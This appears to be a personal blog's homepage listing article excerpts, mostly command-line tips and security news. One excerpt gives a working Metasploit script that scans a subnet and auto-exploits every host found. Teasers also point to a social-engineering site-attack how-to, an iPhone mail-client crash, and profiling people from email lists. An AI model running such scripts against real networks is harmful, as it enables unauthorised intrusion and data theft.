Graphic Designs
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Evil Shield Grunge Vector
I’m going to have to fly more, since I get time (and inspiration) when I’m -
Gun Skull – more grunge!
I’m going to have to fly more, since I get time (and inspiration) when I’m - More from this category
My Music
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Acquiescence
ACQUIESCENCE Listen … Here’s all the tracks from the CD. You can listen to them but you -
Redemption
REDEMPTION Listen … Here’s all the tracks from the CD. You can listen to them but you - More from this category
IT and Security
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Coincidence & Randomness
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket Ed Uses His Rod Serling -
Social Engineer Toolkit – Website Attack How To
I found this while wandering about the web. Be careful – it works! Social Engineering Toolkit - More from this category
Thoughts, Ideas and Musings
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10 Amazing Life Lessons You Can Learn From Albert Einstein
Albert Einstein has long been considered a genius by the masses. He was a theoretical -
Five Key Lines From President’s Speech
Finally we have a President that has balls – finally we have a President that - More from this category
Other Recent Articles
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Fixing the Filenames
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Hal Helps Out
A friend of mine contacted me the other day with an interesting problem. She was trying to recover some files from the backup of an old BBS. In particular, she was trying to get at the attachments for various postings.
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A db_autopwn script run from msfconsole
Here’s a handy script I found on the web, written by HD Moore himself. It works like a charm!
$ vim ownitall.rc
db_create /tmp/mynet.db
db_nmap -sS -F -n 192.168.0.0/24 -T5
setg AutoRunScript scraper
db_autopwn -t -e -p -r
$ msfconsole -r ownitall.rc
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Faster. Higher. Stronger – speeding up tasks
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Tim goes for Gold:
The Olympics are in full swing. The world’s finest athletes are doing everything they can to shave fractions of a second; and not get caught doping. This episode we try to shave off precious seconds from our tasks, and not get caught [...] -
Using SED, and such
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Ed’s Got Sed (well, a little bit of it at least):
In a celebratory mood, I belt out:
C:\> cmd.exe /v:on /c “for /f “delims=” %i in (‘echo Hippy barfday spew do you!’)
do @set stuff=%i& echo !stuff! & set stuff=!stuff:i=a! & echo !stuff! & set
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How to Reliably Crash the iPhone’s E-mail Client
From https://secure.grepular.com/ by by Mike Cardwell
I have tested the following on two separate iPhones and it caused crashes on them both. I don’t have an iPhone of my own to test with, so I’m not able to investigate this much further.
1.) Create a blank file named anything.txt and then upload it to some webspace. It [...] -
Searching Text Strings
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Hal checks out the mail
We love getting email from readers of the blog. And we love getting cool shell hacks from readers even more. Recently, loyal reader Rahul Sen sent along this tasty little bit of shell fu:
How to search for certain text string in [...] -
Time Bandits – Stomping, Stomping, Stomping …
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
I have always wanted to time travel. Since it isn’t possible to go back and kill Hitler I thought, maybe we can go back in time and change some files. Obviously, we don’t have the technology to actually go back in time and make changes. [...] -
A Sort of List
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Hal starts off:
Way back in Episode #11 I showed you a little trick for sorting directory listings by inode number. But it struck me recently that we hadn’t talked about all of the other interesting ways you can sort directory listings.
For example, you can use [...] -
CISOs Keep Breach Costs Lower
The latest “Cost of a Data Breach” survey from the Ponemon Institute finds companies with a CISO are better able to handle loss of sensitive information
By Joan Goodchild, Senior Editor
Companies continue to pay a high price to clean up the mess created by a data breach, but having a Chief Information Security Officer (CISO) may [...] -
Companies on IT Security Spending: Where’s the ROI?
Companies have spent millions to bolster their IT security in recent years. But some are starting to wonder if it’s been worth it, according to the 2010 Cyber Security Watch survey CSO conducted with the U.S. Secret Service, Carnegie Mellon University CERT and Deloitte & Touche.
By Bill Brenner, Senior Editor, CSO Online
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Your 5-Step Malware-Analysis Toolkit
From http://www.campustechnology.com By Lenny Zeltser
A LARGE NUMBER of computer intrusions involve some form of malicious software (malware), which finds its way to the victim’s workstation or to a server. When investigating the incident, the IT responder typically seeks to answer questions such as: What actions can the malware specimen perform on the system? How does [...] -
Advanced Process Whack-a-Mole
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Ed Prepares to Open Up a Can of Process Whoop-Ass:
I’ve never considered myself a particularly violent man. But, I have to admit it: Sometimes it just feels good to kill processes. I’ve even been heard to mutter a deadpan “Dodge This” in my lab late [...] -
USB History
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Ed Embarks:
Believe it or not, one of the things that we strive for in this blog is to be, not to put too fine a point on it, actually useful. We keep our musings here away from the theoretical and focused on the practical, in [...] -
How to convert email addresses into name, age, ethnicity, sexual orientation
From: http://maxklein.posterous.com/
So you have somehow begged, borrowed or stolen an email list of 1000 users who you believe are interested in your new service. Would it not be great if you could somehow convert that list into real people, with real photos, and perhaps even more concrete information like “My service has a higher than [...] -
Say Hello to My Little Friend Netstat
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Ed greets 2010:
Many times on our little blog here, I’ve spoken appreciatively of some of my favorite Windows command-line friends, including wmic, netsh, and sc. Yes, I’ve fought the desire to personify them, but I can’t help but think of them as buddies… Buddies with [...] -
Yule Be Wanting an Explanation Then
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Hal returns to the scene of the crime
I opened last week’s post saying there would be no “explanations or excuses”, but apparently that wasn’t good enough for some of you. So at the request of our loyal readers, we’d like to revisit last week’s episode [...] -
Yule Love It!
From: COMMAND LINE KUNG FU: PaulDotCom, Ed Skoudis, Hal Pomeranz, byte_bucket
Hal has indulged in a bit too much holiday cheer:
Presented for your enjoyment with no explanation or excuses:
$ ct=12; while read line; do
[ $ct == 1 ] && echo -n Plus || echo -n $ct;
echo ” $line”;
((ct–));
done <<EoLines
keyboards drumming
admins smiling
systems thrashing
networks crashing
hosts a-pinging
Windows versions
(billion) Linux [...] - All Recent Articles
